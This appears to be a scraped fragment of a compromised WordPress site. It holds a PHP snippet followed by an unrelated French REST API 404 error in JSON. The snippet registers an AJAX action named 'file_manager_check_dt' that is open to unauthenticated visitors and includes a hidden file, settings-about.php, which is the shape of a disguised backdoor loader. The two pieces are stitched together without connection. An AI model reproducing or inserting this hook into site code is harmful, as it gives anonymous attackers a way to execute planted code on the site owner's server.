if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
{"code":"rest_no_route","message":"Aucune route correspondante \u00e0 l\u2019URL et \u00e0 la m\u00e9thode de requ\u00eate n\u2019a \u00e9t\u00e9 trouv\u00e9e.","data":{"status":404}}